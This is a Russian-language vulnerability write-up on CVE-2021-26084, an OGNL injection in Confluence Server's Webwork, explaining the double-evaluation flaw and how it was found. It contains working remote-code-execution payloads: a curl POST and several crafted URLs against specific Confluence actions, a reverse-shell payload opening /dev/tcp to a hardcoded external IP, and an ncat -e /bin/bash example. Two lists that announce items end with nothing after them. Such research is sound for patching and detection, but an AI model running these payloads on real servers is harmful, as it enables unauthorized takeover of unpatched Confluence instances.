
CVE-2021-26084 - инъекция OGNL в Confluence Server Webwork
В этом документе представлен обзор CVE-2021-26084 — инъекции OGNL в Confluence Server Webwork [1], которая позволяет авторизованному пользователю выполнять произвольный код на экземпляре Confluence Server или Data Center.
Confluence Server / Data Center использует MVC-фреймворк Webwork 2 для обработки веб-запросов, а уровень представления в основном состоит из шаблонов Velocity. При использовании тегов Webwork с атрибутом value, содержащим $, в шаблонах Velocity выполняется двойное вычисление. Когда встречается тег Webwork с атрибутом Value, содержащим $, при разборе шаблона Velocity происходит первичное вычисление; затем это вычисленное значение передаётся тегу Webwork, который дополнительно вычисляет его как OGNL-выражение. Если класс действия (action class) предоставляет функцию-сеттер для параметра, используемого в атрибуте value, этот параметр можно задать из URL с помощью параметров URL. Таким образом, создав URL с OGNL-пейлоадом, злоумышленник может выполнить удалённый код на затронутых версиях Confluence Server / Data Center.
# UnAuthenticated RCE - based on the awesome write-up at httpvoid; courtesy of Harsh Jaiswal(rootxharsh), Rahul Maini (iamnoooob) [8]
curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action'
# UnAuthenticated RCE for Confluence < 7.12.14, Only if allow people to sign up to create their account' is enabled. COG > User Management > User Signup Options.
http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00
5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Authenticated RCE for Confluence < 7.12.14, a valid user account is required on the Confluence Server
http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28
%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Authenticated RCE for for Confluence 7.12.14, the newSpaceKey parm is to be updated with the Space key of a space the user has Add Pages Permission
http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%
40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# The payload below spawns a reverse shell to a remote host running a netcat listener.BurpSuite addon Hackvertor tags has been used for readability and has to be converted accordingly
http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new
java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5;
done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus>
Уязвимости инъекции Expression Language возникают, когда приложение включает пользовательские данные в строку, которая динамически вычисляется интерпретатором кода. Если пользовательские данные не проходят строгую проверку, злоумышленник может с помощью специально сформированного ввода изменить выполняемый код и внедрить произвольный код, который будет выполнен сервером [2]. Object-Graph Navigation Language (OGNL) [3] — это язык выражений для работы с Java-объектами. При наличии уязвимости инъекции OGNL злоумышленник может внедрять OGNL-выражения, которые затем используются для выполнения произвольного Java-кода. Помимо получения и установки свойств, OGNL поддерживает множество других возможностей, из которых следующие представляют интерес с точки зрения разработки эксплойтов:
Вызов статического метода: @java.lang.Runtime@getRuntime()
Вызов конструктора: new java.lang.String[]{'/bin/bash','-c', ‘xcalc’}
Возможность работы с контекстными переменными: #attr["webwork.valueStack"]
Вызов метода: #attr["webwork.valueStack"].findValue()
Комбинируя вышеуказанные конструкции, можно сформировать корректное OGNL-выражение. Типичное OGNL-выражение показано ниже:
@java.lang.Runtime@getRuntime().exec('ncat 203.0.113.5 8021 -e /bin/bash')
WebWork 2 — это MVC-фреймворк с моделью pull, построенный поверх API фреймворка командного паттерна XWork, и предшественник популярного Apache Struts2. Confluence использует WebWork 2 от OpenSymphony для обработки веб-запросов, отправляемых пользователями. Webwork поддерживает мощный язык выражений на основе OGNL для навигации по своему стеку объектов (также известному как ValueStack). Он также поддерживает несколько технологий представлений, включая JSP, FreeMarker, Velocity, и предоставляет богатую библиотеку тегов. «WebWork: Strutting the OpenSymphony way» Майка Кэннона-Брукса [4] даёт отличный обзор фреймворка Webwork 2. Среди прочего, что представляет особый интерес для данной уязвимости, — поддержка Webwork следующих возможностей:
Обнаружение уязвимости в основном включало подход white box тестирования, при котором инструментирование исходного кода использовалось для анализа вычисления OGNL. Следуя отличным исследованиям исследователя GHSL Man Yue Mo по инъекции OGNL в Apache Struts [5] [6] [7], было замечено, что метод evaluateParams класса UIBean является интересным кандидатом. Исходный код библиотеки webwork в Confluence Data Center (atlassian-confluence-x.y.z/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar) был извлечён с помощью JD GUI и проанализирован на предмет методов, похожих на evaluateParams. Ближайшим совпадением оказался метод protected void evaluateParams(OgnlValueStack stack) в com.opensymphony.webwork.views.jsp.ui.AbstractUITag. Анализ исходного кода также показал, что существует класс com.opensymphony.webwork.util.SafeExpressionUtil, который блокировал большинство OGNL-пейлоадов.
Поскольку у автора почти не было опыта запуска Confluence Server в отладчике, для вывода результатов вычисления OGNL в указанных классах использовались простые операторы печати. Шаги по инструментированию исходного кода были следующими: